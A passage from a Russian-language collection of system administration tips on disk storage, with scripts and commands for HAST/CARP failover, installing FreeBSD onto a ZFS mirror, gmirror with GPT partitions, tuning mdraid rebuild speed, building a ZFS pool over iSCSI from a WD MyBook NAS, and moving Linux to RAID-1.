                                    logger -p $log -t $name "Unable to switch role to secondary for resource $disk."
                                    exit 1
                            fi
                            logger -p $log -t name "Role switched to secondary for resource $disk"
                    done
                    ;;
            *)
                    logger -p $log -t $name "Usage: $0 "
                    exit 1
                    ;;
       esac
    
    Поменяем права доступа и перезагрузим систему: 
    
       chmod +x /usr/local/sbin/carp-hast-switch
       reboot
    
    После перезагрузки вручную установим первичный режим HAST для созданного хранилища:
    
       hastctl role primary freenashast
    
    Выше представленная инструкция рассчитана на создание master-узла. Для
    запасного slave-узла, который возьмёт на себя управление в случае сбоя
    первичного узла, настойка выполняется аналогично, за одним исключением - для
    интерфейса carp0 должен быть установлен меньший приоритет, чем на master-узле:
    
       ifconfig carp0 vhid 1 pass freenashast advskew 100 192.168.137.30/24
    
     
    ----* Отключаем RAID1 на MB и ставим FreeBSD на zfs mirror на диски c сектором 4k (доп. ссылка 1)   Автор: nagual  [комментарии]
     
    Согласно рекомендациям Oracle ZFS лучше не ставить поверх RAID, так как это
    приведет к не оптимальному распределению нагрузки на шпиндели. Так же хочется
    напомнить о необходимости включении режима ACHI в BIOS.
    
    Собственно скрипт:
    
    
    #!/bin/sh
    
    mount_cd9660 /dev/cd0 /media
    
    DIST="/media/usr/freebsd-dist"
    DISKDEV1="da1"
    DISKDEV2="da2"
    SWAPSIZE="1G"
    LOGFILE="tmp06_first.log"
    exec 1>$LOGFILE 2>&1
    ZPOOL="zroot"
    HOSTNAME="BSD"
    MNT="/mnt2"
    
    mkdir -p $MNT
    sysctl kern.geom.debugflags=0x10
    
    /bin/echo "Starting newfs ZFS "
    /sbin/gpart create -s gpt $DISKDEV1
    /sbin/gpart create -s gpt $DISKDEV2
    /bin/sync
    
    /sbin/gpart add -a 4k -b 34 -s 64k -t freebsd-boot $DISKDEV1
    /sbin/gpart add -a 4k -t freebsd-zfs -l disk0 $DISKDEV1
    /bin/sync
    
    /sbin/gpart add -a 4k -b 34 -s 64k -t freebsd-boot $DISKDEV2
    /sbin/gpart add -a 4k -t freebsd-zfs -l disk1 $DISKDEV2
    /bin/sync
    
    /sbin/gpart bootcode -b /boot/pmbr -p /boot/gptzfsboot -i 1 $DISKDEV1
    /sbin/gpart bootcode -b /boot/pmbr -p /boot/gptzfsboot -i 1 $DISKDEV2
    /bin/sync
    
    /sbin/gnop create -S 4096 /dev/gpt/disk0
    /sbin/gnop create -S 4096 /dev/gpt/disk1
    /bin/sync
    
    /sbin/zpool create -m $MNT -f -o cachefile=/var/tmp/$ZPOOL.cache $ZPOOL mirror
    /dev/gpt/disk0.nop /dev/gpt/disk1.nop
    /sbin/zpool export $ZPOOL
    /sbin/gnop destroy /dev/gpt/disk0.nop
    /sbin/gnop destroy /dev/gpt/disk1.nop
    /sbin/zpool import -o cachefile=/var/tmp/$ZPOOL.cache $ZPOOL
    /sbin/zpool set bootfs=$ZPOOL $ZPOOL
    /sbin/zpool list
    /sbin/zpool status
    /sbin/zfs get recordsize
    /usr/sbin/zdb -U /var/tmp/$ZPOOL.cache |grep ashift
    /sbin/mount
    /bin/df -H
    /bin/sync
    
    /sbin/zfs set checksum=fletcher4 $ZPOOL
    
    /sbin/zfs create -V $SWAPSIZE $ZPOOL/swap
    /sbin/zfs set org.freebsd:swap=on $ZPOOL/swap
    /sbin/zfs set checksum=off $ZPOOL/swap
    /bin/sync
    
    /sbin/zfs create -o mountpoint=$MNT/usr $ZPOOL/usr
    /sbin/zfs create -o mountpoint=$MNT/usr/ports $ZPOOL/usr/ports
    /sbin/zfs create -o mountpoint=$MNT/usr/src $ZPOOL/usr/src
    /sbin/zfs create -o mountpoint=$MNT/usr/home $ZPOOL/usr/home
    /sbin/zfs create -o mountpoint=$MNT/var $ZPOOL/var
    /sbin/zfs create -o mountpoint=$MNT/var/db $ZPOOL/var/db
    /sbin/zfs create -o mountpoint=$MNT/var/tmp $ZPOOL/var/tmp
    /sbin/zfs create -o mountpoint=$MNT/tmp $ZPOOL/tmp
    /bin/sync
    
    chmod 1777 $MNT/tmp $MNT/var/tmp
    
    cd $DIST
    export DESTDIR=$MNT
    for file in base.txz doc.txz kernel.txz ports.txz src.txz; do (cat $file | tar
    --unlink -xpJf - -C ${DESTDIR:-/}) ; done
    
    cat << EOF >> $MNT/etc/rc.conf
    #!/bin/sh
    ipv6_enable="NO"
    rc_info="YES" # Enables display of informational messages at boot.
    
    keymap=ru.koi8-r
    keychange="61 ^[[K"
    scrnmap=koi8-r2cp866
    font8x16=cp866b-8x16
    font8x14=cp866-8x14
    font8x8=cp866-8x8
    saver="blank"
    keyrate="fast"
    
    mousechar_start="3"
    moused_enable="YES"
    moused_port="/dev/psm0"
    moused_type="auto"
    
    network_interfaces="auto" # List of network interfaces (or "auto").
    ifconfig_lo0="inet 127.0.0.1 netmask 255.255.255.0"
    defaultrouter="192.168.0.1"
    ifconfig_em0="inet 192.168.0.88 netmask 255.255.255.0"
    
    hostname=$HOSTNAME
    
    zfs_enable="YES"
    kern_securelevel_enable="NO"
    linux_enable="YES"
    sshd_enable="YES"
    sshd_flags="-u0"
    usbd_enable="NO"
    
    #fsck_y_enable="YES"
    background_fsck="NO"
    
    sendmail_enable="NONE" # Run the sendmail inbound daemon (YES/NO).
    sendmail_flags="-L sm-mta -bd -q30m" # Flags to sendmail (as a server)
    sendmail_submit_enable="NO" # Start a localhost-only MTA for mail submission
    sendmail_submit_flags="-L sm-mta -bd -q30m -ODaemonPortOptions=Addr=localhost"
    # Flags for localhost-only MTA
    sendmail_outbound_enable="NO" # Dequeue stuck mail (YES/NO).
    sendmail_outbound_flags="-L sm-queue -q30m" # Flags to sendmail (outbound only)
    sendmail_msp_queue_enable="NO" # Dequeue stuck clientmqueue mail (YES/NO).
    sendmail_msp_queue_flags="-L sm-msp-queue -Ac -q30m"
    # Flags for sendmail_msp_queue daemon.
    # to their chrooted counterparts.
    
    nfs_reserved_port_only="NO"
    ntpdate_flags="ntp.ucsd.edu"
    ntpdate_enable="NO"
    xntpd_enable="NO"
    net_snmpd_enable="NO"
    inetd_enable="NO"
    inetd_program="/usr/sbin/inetd" # path to inetd, if you want a different one.
    inetd_flags="-wW -C 60" # Optional flags to inetd
    
    portmap_enable="NO"
    nfs_server_enable="NO"
    nfs_client_enable="NO"
    tcp_drop_synfin="YES"
    icmp_drop_redirect="YES"
    icmp_log_redirect="NO"
    syslogd_enable="YES"
    syslogd_flags="-ss"
    accounting_enable="NO"
    check_quotas="NO"
    clear_tmp_enable="YES" # Clear /tmp at startup.
    cron_enable="YES" # Run the periodic job daemon.
    named_enable="YES" # Run named, the DNS server (or NO).
    
    #devd_enable="YES".
    #devfs_system_ruleset="devfsrules_common".
    ldconfig_paths="/usr/lib/compat /usr/local/lib /usr/local/kde4/lib /usr/local/lib/compat/pkg"
    
    # Denyhosts Startup.
    denyhosts_enable="YES"
    
    EOF
    
    cat << EOF >> $MNT/etc/fstab
    # Device Mountpoint FStype Options Dump Pass#
    #linproc /compat/linux/proc linprocfs rw 0 0
    
    EOF
    
    cat << EOF >> $MNT/etc/resolv.conf
    search $HOSTNAME
    domain $HOSTNAME
    nameserver 127.0.0.1
    #nameserver 8.8.8.8
    
    EOF
    
    cat << EOF >> $MNT/boot/loader.conf
    zfs_load="YES"
    vfs.root.mountfrom="zfs:$ZPOOL"
    
    autoboot_delay="1"
    beastie_disable="YES"
    
    linux_load="YES" # Linux emulation
    #lindev_load="NO" # Linux-specific pseudo devices (see lindev(4))
    linprocfs_load="YES" # Linux compatibility process filesystem
    linsysfs_load="YES" # Linux compatibility system filesystem
    
    #ipfw_load="YES" # Firewall
    #ipfw_nat_load="YES"
    
    #if_tap_load="YES" # Ethernet tunnel software network interface
    
    # Kernel Options
    kern.ipc.shmseg=1024
    kern.ipc.shmmni=1024
    kern.maxproc=10000
    
    vm.pmap.pg_ps_enabled="0"
    #hw.mca.enabled=1
    kern.timecounter.hardware=i8254
    hw.pci.enable_msix=0
    hw.pci.enable_msi=0
    net.inet.tcp.tso=0
    
    EOF
    
    cp /var/tmp/$ZPOOL.cache $MNT/boot/zfs/zpool.cache
    zpool set cachefile=$MNT/boot/zfs/zpool.cache $ZPOOL
    /bin/sync
    
    /sbin/zfs unmount -a
    /bin/sync
    
    /sbin/zfs set mountpoint=legacy $ZPOOL
    /sbin/zfs set mountpoint=/tmp $ZPOOL/tmp
    /sbin/zfs set mountpoint=/usr $ZPOOL/usr
    /sbin/zfs set mountpoint=/usr/ports $ZPOOL/usr/ports
    /sbin/zfs set mountpoint=/usr/src $ZPOOL/usr/src
    /sbin/zfs set mountpoint=/usr/home $ZPOOL/usr/home
    /sbin/zfs set mountpoint=/var $ZPOOL/var
    /sbin/zfs set mountpoint=/var/db $ZPOOL/var/db
    /sbin/zfs set mountpoint=/var/tmp $ZPOOL/var/tmp
    /bin/sync
    rm $MNT
    
    exit 0
    
    
    Работу проверял под vmware. Своп сделан на zfs дабы не воротить еще и gmirror.
    Не забудьте размер свопа увеличить.
    
     
    ----* Использование ZFS в Ubuntu Linux (доп. ссылка 1)   [комментарии]
     
    Установим поддержку ZFS на Ubuntu Server и создадим RAIDZ-хранилище на базе
    двух имеющихся жестких дисков.
    
    Создадим на дисках по разделу при помощи утилиты cfdisk, для просмотра таблицы
    разделов можно использовать команду "cat /proc/partitions".
    
    Установим пакеты, необходимые для обеспечения работы ZFS:
    
       sudo apt-get update && sudo apt-get upgrade
       sudo apt-get install python-software-properties bison flex build-essential \\
       libelf-dev zlib1g-dev libc6-dev-i386 libdwarf-dev binutils-dev
    
    Подключим дополнительный PPA-репозиторий zfs-native:
    
       sudo add-apt-repository ppa:zfs-native/stable
    
    и установим из него пакеты с компонентами для поддержки ZFS:
    
       sudo apt-get update
       sudo apt-get install ubuntu-zfs
    
    Создадим zpool с именем  zfs-test и типом заркалирования RAIDZ, поместив в
    создаваемый RAID разделы на двух имеющихся дисках:
    
       sudo zpool create zfs-test raidz /dev/sdb1 /dev/sdc1
    
    Посмотрим статус созданного раздела:
    
       sudo zpool status
       sudo zfs list
       df -h
    
     
    ----* Настройка gmirror при использовании GPT во FreeBSD 9   Автор: Mikhail Zakharov  [комментарии]
     
    С релизом FreeBSD-9.0, GPT-формат разделов жестких дисков стал, наконец, делом
    обыденным, ведь даже новый инсталлятор предполагает использование GPT
    по-умолчанию. Однако в связи с переходом на GPT-разметку дисков возникают и
    сложности, поскольку очень многое, в том числе и документация, продолжает быть
    завязано на ныне устаревший механизм MBR-разделов или слайсов. Так, например, к
    своему огорчению я обнаружил, что большинство разделов Handbook'а посвященных
    дискам, GEOM-классам и файловым системам изобилуют примерами работ со старыми
    слайсами, а не используют для этой цели новый формат GPT.
    
    Более того, в январе 2012 года, в разделе учебника, посвященного использованию
    gmirror, я внезапно наткнулся на предостережение, которое прямо указывает на
    невозможность сочетания FreeBSD-9.x, gmirror и GPT-разметки дисков:
    
    Warning: Creating a mirror out of the boot drive may result in data loss if any
    data has been stored on the last sector of the disk. This risk is reduced if
    creating the mirror is done promptly after a fresh install of FreeBSD. The
    following procedure is also incompatible with the default installation settings
    of FreeBSD 9.X which use the new GPT partition scheme. GEOM will overwrite GPT
    metadata, causing data loss and possibly an unbootable system.
    
    Примечательно, что в русскоязычном варианте Handbook'а часть этого
    предупреждения относительно использования GPT-разделов вместе с gmirror во
    FreeBSD-9.x попросту отсутствует.
    
    Терзаемый неприятным чувством, что поддержка GPT дисков во FreeBSD далека еще
    от совершенства, я решил выяснить, действительно-ли в настоящий момент дисковая
    функциональность FreeBSD-9.0R не может объединить технологии gmirror -
    программного зеркала (RAID-1) и разделов GPT.
    
    Чаще всего gmirror используется в двух вариантах. Первый, это формирование
    зеркала из "сырых" дисков, с последующим созданием на зеркале разделов и
    файловых систем. Договоримся для краткости называть его gmirror+GPT.
    
    Второй способ предполагает создание одного, или нескольких разделов на диске и
    последующее зеркалирование этих разделов на другой диск. Этот метод будем
    называть GPT+gmirror.
    
    
    gmirror+GPT 
    
    Итак, чтобы при помощи gmirror собрать RAID-1, а затем создать поверх него
    разделы GPT нам потребуется дистрибутив FreeBSD-9.0R и два установленных в
    компьютер жестких диска.
    
    Рекомендуется, чтобы оба жестких диска были одинаковыми по всем
    характеристикам: объему, скорости вращения шпинделей, размеру буфера памяти и
    т.д. И хоть эти условия для применения gmirror не являются обязательными,
    однако нужно понимать, что в случае использования различия дисков,
    характеристики зеркала будут определяться худшим диском.
    
    К сожалению, в настоящий момент инсталлятор FreeBSD не умеет управлять модулем
    gmirror, поэтому создавать RAID-1 нам придется своими собственными руками. Для
    этого загружаемся с инсталляционного диска но, запуская установку, переходим в
    shell, сразу, как только инсталлятор предоставит нам эту возможность:
    
    
    
    Попав в командную строку, начинаем подготовку зеркала. Бегло проглядев вывод
    команды dmesg, обнаруживаем, что в связи с новым именованием устройств во
    FreeBSD-9.0, в нашем случае диски определились как ada0 и ada1. Ну, раз так,
    значит так, создадим из них зеркало gm0 и сразу же загрузим его:
    
       # gmirror label gm0 ada0 ada1
       # gmirror load
    
    Теперь в системе появился новый диск - gm0. Убедиться в этом можно посмотрев вывод команды:
    
       # ls -la /dev/mirror/gm0
    
    Однако этот диск пока сырой. Поэтому определим для него схему разбиения на
    разделы, в нашем случае - GPT и сделаем этот диск загрузочным:
    
       # gpart create -s gpt mirror/gm0
       # gpart bootcode -b /boot/pmbr -p /boot/gptboot -i 1 mirror/gm0
    
    На этом первая часть вмешательства в обычный ход инсталляции FreeBSD может быть
    закончена. В самом деле, зачем людям работать руками, если инсталлятор со всем
    остальным может справиться самостоятельно?  Поэтому смело набираем exit и
    выходим из shell'а, чтобы вернуться в инсталлятор, где нам будет предложено
    установить имя хоста и выбрать компоненты дистрибутива.
    
    Далее, когда инсталлятор загрузит редактор разделов, наше программное зеркало
    будет ему доступно также, как и два физических диска ada0 и ada1. Теперь после
    нашего краткого вмешательства, инсталлятор беспрепятственно позволит создать на
    зеркале необходимые разделы. Более того все изменения будут даже динамически
    отражаться на обеих половинах зеркала:
    
    
    
    Далее инсталляция пойдет как по маслу в обычном порядке и до своего логического завершения.
    
    Когда все закончится, перезагружаемся проверить все-ли мы сделали правильно, но
    здесь нас поджидает небольшой fail. С прискорбием мы обнаруживаем, что система
    загрузиться не может: ядро попросту не понимает, что такое gmirror и не видит зеркала.
    
    Выругавшись нехорошими словами, снова вставляем инсталляционный диск и
    загружаемся в так полюбившийся нам shell.
    
    Далее загружаем модуль gmirror и, вспомнив, что корневая файловая система
    находится на gm0p3, монтируем корень в /mnt.
    
       # gmirror load
       # mount /dev/mirror/gm0p3 /mnt
    
    Теперь остается добавить модуль gmirror в loader.conf для загрузки его вместе с
    ядром при старте системы:
    
       # echo &#8216;geom_mirror_load="YES"&#8217; > /mnt/boot/loader.conf
    
    На этом действительно все. Перезагружаемся и получаем работоспособную систему.
    Чтобы убедиться в этом, можно безбоязненно проводить тесты по поочередному
    отключению дисков.
    Единственный нюанс, внимательный администратор заметит во время загрузки
    системы настораживающее предупреждение:
    
       gptboot: invalid backup GPT header
    
    Andrey V. Elsukov - один из разработчиков FreeBSD объясняет это предупреждение так:
    "Причина понятна - GPT была создана поверх зеркала. Размер провайдера
    mirror/gm0 на 1 сектор меньше, чем размер диска, так как gmirror забирает
    последний сектор для хранения своих метаданных. Загрузчик gptboot ничего не
    знает о программном зеркале и ищет резервный заголовок GPT в конце диска, а там
    находятся метаданные gmirror.
    Тут есть небольшое разногласие между gptboot и GEOM_PART_GPT. Некоторое время
    назад я изменил алгоритм проверки корректности GPT в GEOM_PART_GPT. А именно,
    после прочтения основного заголовка GPT и проверки его контрольной суммы,
    резервный заголовок считывается по хранящемуся в основном заголовке адресу. В
    случае, когда основной заголовок повреждён, резервный заголовок ищется в конце диска."
    
    Как видим из объяснения разработчика, ничего вроде бы страшного не происходит.
    И хотя у нас отсутствует запасной заголовок GPT в конце диска, это не критично,
    правда до тех пор, пока все работает.
    
    
    GPT+gmirror
    
    Этот вариант отличает от предыдущего тем, что зеркалируетяс не диск целиком, а
    отдельные его разделы. Как и для первого случая, нам потребуется дистрибутив
    FreeBSD-9.0R и два жестких диска, установленных в машину. Как и прежде
    рекомендуется, чтобы диски были полностью одинаковыми. Тем не менее, если
    случилось так, что один диск больше другого, то инсталляцию FreeBSD лучше
    проводить на диск меньшего объема. Это поможет избежать лишних расчетов
    размеров разделов при зеркалировании их с большего диска на меньший.
    
    В остальном первоначальная установка FreeBSD-9.0R ничем не отличается от
    обычной инсталляции по-умолчанию. Вся настройка зеркалирования начинается, в
    тот момент, когда мы загружаем свежепроинсталлированную систему и попадаем в консоль.
    
    Как и в предыдущем случае, диски определились как ada0 и ada1. FreeBSD
    установлена на меньший по размеру диск - ada0. Первым делом сохраним
    разметку диска и восстановим её на другом диске:
    
       # gpart backup ada0 > ada0.gpt
       # gpart restore -F /dev/ada1 < ada0.gpt
       # gpart show
    
    
    
    Как видно на скриншоте, разделы удачно скопировались и на бОльшем диске
    осталось 5GB свободного неразмеченного места. Теперь по логике вещей, можно
    начать зеркалирование разделов.
    
    Однако нужно забыть сделать диск ada1 загрузочным, ведь мы зеркалируем не весь
    диск целиком, а только его разделы. Иначе с выходом из строя ada0, система не
    сможет загрузится с ada1. Поэтому:
    
       # gpart bootcode -b /boot/pmbr -p /boot/gptboot -i 1 ada1
    
    Кроме того, раздел /dev/da0p3 - содержит корневую файловую систему, он
    смонтирован, и размонтировать его не получится, поэтому в текущем положении
    изменить его не возможно.
    
    Поэтому перезагружаем систему и загружаемся с инсталляционного диска, где
    привычно уже заходим в shell и на каждом разделе диска ada0 создаем зеркало и
    загружаем его:
    
       # gmirror label -vb round-robin boot /dev/ada0p1
       # gmirror label -vb round-robin swap /dev/ada0p2
       # gmirror label -vb round-robin root /dev/ada0p3
       # gmirror load
    
    Итого у нас получаютcя 3 зеркала. Сразу же добавляем к зеркалам по их второй половине:
    
       # gmirror insert boot /dev/ada1p1
       # gmirror insert swap /dev/ada1p2
       # gmirror insert root /dev/ada1p3
    
    Начнется процедура зеркалирования, длительность которой зависит от объема
    данных и характеристик жестких дисков. Наблюдать за этим увлекательным
    процессом можно при помощи команды:
    
       # gmirror status
    
    А пока дожидаемся окончания этого процесса, чтобы зря не терять времени, можно
    не спеша сделать еще 2 полезные вещи. Первая, добавить модуль gmirror в
    загрузку ядра:
    
       # mount /dev/mirror/root /mnt
       # echo &#8216;geom_mirror_load="YES"&#8217; > /mnt/boot/loader.conf
    
    И вторая, отредактировать fstab в соответствии с измененными под зеркала именами разделов:
    
       # cat /mnt/etc/fstab
       #Device		Mountpoint	FStype	Options	Dump	Pass#
       /dev/mirror/swap	none		swap		sw		0	0
       /dev/mirror/root	/		ufs		rw		1	1
    
    На этом все. После окончания синхронизации зеркал, можно перезагрузиться и
    устроить системе тест, отключая то один диск, то другой. Только главное не
    увлечься и не забыть, что каждый раз, при возвращении диска в RAID, нужно
    обязательно дожидаться окончания процесса синхронизации, иначе вы потеряете данные.
    
     
    ----* Увеличение скорости перестроения программного RAID в Linux (доп. ссылка 1)   [комментарии]
     
    Перестроение большого программного RAID в Linux может занимать десятки часов.
    Скорость синхронизации mdraid зависит от proc-переменных
    /proc/sys/dev/raid/speed_limit_max и /proc/sys/dev/raid/speed_limit_min,
    задающих максимальную и минимальную пропускную способность синхронизации
    данных. По умолчанию значения этих переменных выставлены в 200000 и 1000 (Кб).
    Манипулируя данными параметрами можно существенно увеличить скорость
    перестроения RAID-массива.
    
    Подобрать оптимальные значения можно в зависимости от производительности
    текущей дисковой системы, чем выше скорость синхронизации, чем меньше ресурсов
    остается для обработки текущих дисковых операций. Установим минимальную
    скорость в 50 Мб/сек, а максимальную в 300 Мб/cек:
    
       echo 50000 > /proc/sys/dev/raid/speed_limit_min
       echo 300000 > /proc/sys/dev/raid/speed_limit_max
    
    Посмотреть текущую скорость ресинхронизации можно в выводе команды:
    
       cat /proc/mdstat
    
    В результате вышеуказанных манипуляций время перестроения RAID было уменьшено с 22 до 2 часов.
    
    
    Если для рабочего RAID включить режим сохранения битовых карт (write-intent
    bitmap), то можно дополнительно увеличить скорость ресинхронизация после
    развала RAID в результате краха системы или экстренного отключения питания.
    Обратной стороной данного режима является небольшое замедление операций записи
    данных в RAID:
    
       mdadm --grow --bitmap=internal /dev/md0
    
    Отключить данный режим можно так:
    
       mdadm --grow --bitmap=none /dev/md0
    
     
    ----* Создание масштабируемого хранилища с использованием WD MyBook NAS + FreeBSD + ZFS   Автор: Алексей Волков  [комментарии]
     
    Вместо предисловия.
    
    RAID-Z doesn't require any special hardware. It doesn't need NVRAM for
    correctness, and it doesn't need write buffering for good performance. With
    RAID-Z, ZFS makes good on the original RAID promise: it provides fast, reliable
    storage using cheap, commodity disks.
                                                                          Jeff Bonwick  [0]
    
    Мое знакомство с FreeBSD состоялось  достаточно давно, как только по ряду
    причин прошла "первая любовь" к свежему на тот момент QNX Momentics.  Просто
    решил взять другую OS для других задач, без всяких аргументов. Но страсть к ZFS
    возникла практически мгновенно, как только  прочитал первые материалы по ней в
    свете включения кода в HEAD ветку FreeBSD. C тех пор  мы не разлучны, а с
    выходом релиза FreeBSD 8.0,  эта привязанность может стать вечной :)
    
    К сожалению, уж очень часто так случается, что место на разделе заканчивается,
    и в случае небольших офисных серверов, это превращается в маленькую трагедию.
    Завершив переезд на раздел большего размера, остаешься с неприятной мыслью, что
    этот раз был не последним, а следующий будет сложнее и дороже во всех смыслах
    этого слова.
    
    Относительно недавно, в розничную продажу поступила линейка NAS устройств WD My
    Book. Я так же обратил на нее внимание, но в первую очередь потому, что в
    голове промелькнула мысль - "Вот оно недостающее звено для бюджетного решения
    проблемы серверного пространства", но на тот момент я еще не знал как именно
    это можно сделать.
    
    Общая концепция заключалась в том, чтобы использовать NAS не так как его
    позиционирует производитель, а в виде блочного устройства. Другими словами ни
    CIFS/SAMBA ни FTP не нужны, требуется  получить блочное устройство в составе
    FreeBSD но физически расположенное на NAS. И тогда на сцену выйдет ZFS и
    возьмет его в свои крепкие руки.
    
    Вариант с созданием блочного устройства посредством mdconfig поверх
    подключенной через CIFS точки монтирования, меня категорически не устраивал.
    Моя цель где то рядом с ggate, AoE (ATA over Ethernet) или iSCSI.
    
    Упомянутый выше NAS, является достаточно открытым и работает на базе armv5tejl
    Linux 2.6.17.14. А значит к нему можно получить доступ по ssh  и установить
    дополнительный софт. Процедурs настройки ssh и репозитария optware можно найти
    по ссылкам [1] и [2].
    
    К великой радости optware имеет пакет для предоставления блочного устройства по
    протоколу AoE, но радость была не долгой, так как все попытки получить AoE на
    стороне FreeBSD, оказались не удачными.  Существующий AoE порт CORAID [3] я так
    и не смог заставить работать во FreeBSD 8, а мои вопросы к автору порта по
    email пока остались без ответа. Возвращаться к ядрам 7.X или тем более 6.X не
    имело смысла, так как терялась ZFS.
    
    Вспомнил про гору и Мухамеда, и выяснил что FreeBSD прекрасно дружит с iSCSI и
    все необходимое уже присутствует в базовой системе. Остается как то
    организовать iSCSI target на стороне NAS. Перепробовав массу вариантов собрать
    из исходников iSCSI target ( [4] [5] [6]), я практически отчаялся, пока не
    вспомнил, что FreeBSD имеет простенький порт net/iscsi-target. На удивление все
    собралось из исходников с первой попытки и у меня на руках оказался готовый
    бинарник iscsi-target [8] для ARM LINUX который я положил на NAS в /opt/sbin.
    
    Дело техники.
    
    В качестве iSCSI носителя будем использовать целиком раздел, который ранее
    выделялся для CIFS (/dev/md4) для чего нужно в /etc/init.d/network_servers.sh
    отключить запуск samba.sh и закоментить в /etc/fstab
    
       #/dev/md4        /shares/internal ext3   defaults,noatime     0       2
    
    Узнаем полный объем md4.
    
       [root@BACKUP]# fdisk -l /dev/md4
    
       Disk /dev/md4: 1992.0 GB, 1992096874496 bytes
       2 heads, 4 sectors/track, 486351776 cylinders
       Units = cylinders of 8 * 512 = 4096 bytes
    
    
    fdisk показал размер 1992096874496. Опытным путем выяснилось, что в
    конфигурации iscsi-targe нужно указать на 1 меньше.
    
    Подготовим конфигурацию для iSCSI /etc/iscsi/targets
    
       extent0         /dev/md4        0               1992096874495
       target0         rw              extent0         192.168.0.0/24
    
    а так же скрипт автоматического запуска сервиса iSCSI /etc/init.d/iscsi.sh [9]
    и добавляем его запуск в список сервисов /etc/init.d/network_servers.sh.
    Перезагружаем NAS.
    
    Настройка iSCSI initiator
    
    На стороне сервера FreeBSD (где будем организовывать ZFS пул) настраиваем инициатор.
    
    Утилитой iscontrol выясняем какое имя у нашего target.
    
       server# iscontrol -d targetaddress=nas.ip-or-hostname
       TargetName=iqn.1994-04.org.netbsd.iscsi-target:target0
       TargetAddress=192.168.0.1:3260,1
    
    Так как в теории устройств NAS у нас должно быть много, их как то надо
    идентифицировать. Для целей идентификации MAC адрес подходит как нельзя кстати,
    тем более что он указан на корпусе NAS. Дополнительно можно намекнуть на объем
    устройство, и тогда получим идентификаторы вида
    
       00:90:a9:0d:f3:72-2T
       00:90:a9:3d:e3:7a-512G
    
    Cоздаем /etc/iscsi.conf
    
       #
       # Globals
       #
       port = 3260
       
       #
       00:90:a9:0d:f3:72-2T { # nickname
       targetaddress        = nas.ip-or-hostname
       targetname           = iqn.1994-04.org.netbsd.iscsi-target:target0
       }
    
    Я не нашел штатных настроек FreeBSD для автозапуска инициатора, по этому
    добавил скрипт /usr/local/etc/rc.d/iscsiinitiator
    
       # PROVIDE: iscsiinitiator
       # REQUIRE: DAEMON
       # AFTER: NETWORK
    
       . /etc/rc.subr
    
       name="iscsiinitiator"
       rcvar=`set_rcvar`
    
       start_cmd=iscsi_start
     
       iscsi_start() {
          echo Start iSCSI initiator
          daemon -f iscontrol -c /etc/iscsi.conf -n 00:90:a9:0d:f3:72-2T
       }
    
       # read settings, set default values
       load_rc_config "$name"
       : ${iscsiinitiator="NO"}
    
       run_rc_command "$1"
    
    и соотвесвенно, требуется добавить в /etc/rc.conf строчку
    
       iscsiinitiator_enable="YES"
    
    Итак запускаем приемную часть iSCSI
    
    
       server# /usr/local/etc/rc.d/iscsiinitiator start
       Start iSCSI initiator
    
    В dmesg долны появится строки вида
    
       da0 at iscsi0 bus 0 target 0 lun 0
       da0: <NetBSD NetBSD iSCSI 0> Fixed Direct Access SCSI-3 device
    
    Что означает что весь процесс пройден верно.
    
    
    Подготовка блочного устройства для включенияв общий пул
    
    Размечаем устройсво da0 средствами gpart
    
       server# gpart create -s gpt da0
       server# gpart add -t freebsd-zfs -l 00:90:a9:0d:f3:72-2T da0
    
    Проверяем что наше устройство корректно отобразилось в /dev/gpt
    
       server# ls /dev/gpt
       00:90:a9:0d:f3:72-2T    ... ... ...
    
    Создаем zfs пул
    
       server# zpool create -m /mnt/big-storage storage0 /dev/gpt/00:90:a9:0d:f3:72-2T
    
    И вот, наш пул готов!
    
       server# zpool list
       NAME      SIZE   USED  AVAIL    CAP  HEALTH  ALTROOT
       storage0 1,80T    72K  1,80T     0%  ONLINE  -
    
    Заключение
    
    Мои поверхностные тесты показали скорость работы данного пула, близкие к
    максимальным возможностям самой среды FastEthernet. Т.е. 5-6Mbyte/sec, что в
    моих обстоятельствах является более чем достаточном. Дополнительно стоит
    отметить, что с увеличением количества устройств в пуле, скорость так же будет
    расти (если конечно серверный порт и коммутатор гигабитные).
    
    P.S.
    
    Данный пример, своей целью имеет демострацию именно последовательности
    действий, а не рекомендуемый вариант использования.
    
    В реальных условиях нужно создавать пул из нескольких NAS устройств и
    объединять их в единый RAID-Z с одиночной или двойной точкой отказа.
    
    Но в любом случае последующая ситуация с отказом NAS устройства, или
    увеличением общего объема, будет заключаться в подготовке NAS для работы по
    iSCSI и добавлением его в ZFS пул, что представляется достаточно тривиальным и
    не зависящим от общего объема пула.
    
    Не маловажным остается тот факт, что все работы проводятся без остановки
    сервисов или тем белее перезагрузок. Дополнительное пространство просто
    появляется и начинает работать на Вас!
    
    [0] http://blogs.sun.com/bonwick/entry/raid_z
    [1] http://mybookworld.wikidot.com/ssh-enable
    [2] http://mybookworld.wikidot.com/optware
    [3] http://support.coraid.com/support/freebsd/
    [4] http://www.open-iscsi.org/
    [5] http://linux-iscsi.sourceforge.net/
    [6] http://iscsitarget.sourceforge.net/
    [7] http://www.freshports.org/net/iscsi-target/
    [8] http://softlynx.ru/pub/WD-MyBook-NAS/iscsi-target
    [9] http://softlynx.ru/pub/WD-MyBook-NAS/iscsi.sh
    
     
    ----* Переход на RAID-1 в Linux (доп. ссылка 1)   Автор: Иванов Аркадий  [комментарии]
     
    Сохранность данных на диске можно обеспечить вторым диском, который работает
    как зеркало для первого. Этот режим называется RAID первого уровня (Redundant
    Array of Inexpensive Disks -  избыточный массив недорогих дисков). По другому - RAID-1.
    
     
    
    Рассмотрим случай, когда есть диск с установленной системой Linux и необходимо
    подключить второй диск и перевести эту пару в работу в режиме зеркала.  Эта
    новая система должна выполнять следующие функции:
    
        * Писать данные одновременно на оба диска
        * При отказе одного диска грузиться как ни в чём ни бывало со второго.
    
    В Linux для этого есть драйвер MD, его поддержка загрузчиками LILO и GRUB и
    программа mdadm, с помощью которой мы управляемся с RAID-ами.
    
     
    
    Итак, дан компьютер с установленной на раздел /dev/sda2 работающей системой
    Linux. Раздел /dev/sda1 - это swap. Также у нас в наличии подключенный второй
    диск /dev/sdb с такой же геометрией. Он пока пуст. Замечу, что развлекался я в
    Alt Linux Server 4.0.
    
    Шаги по созданию raid-1:
    
     
    
    Убеждаемся, что ядро поддерживает raid1. Этот модуль может быть статическим в
    ядре или в виде подгружаемого модуля. Если это не так, вытаскивайте ядро с
    kernel.org, конфигурите его, собирайте его, устанавливайте и перезапускайтесь с него.
    
    Загружаем модуль, если они не статический:
    
          modprobe raid1
           
    Устанавливаем пакет MDADM.
           
    Запускаем fdisk и делаем тип раздела /dev/sda2 как "Linux raid autodetect"
           
    Перезагружаемся.
           
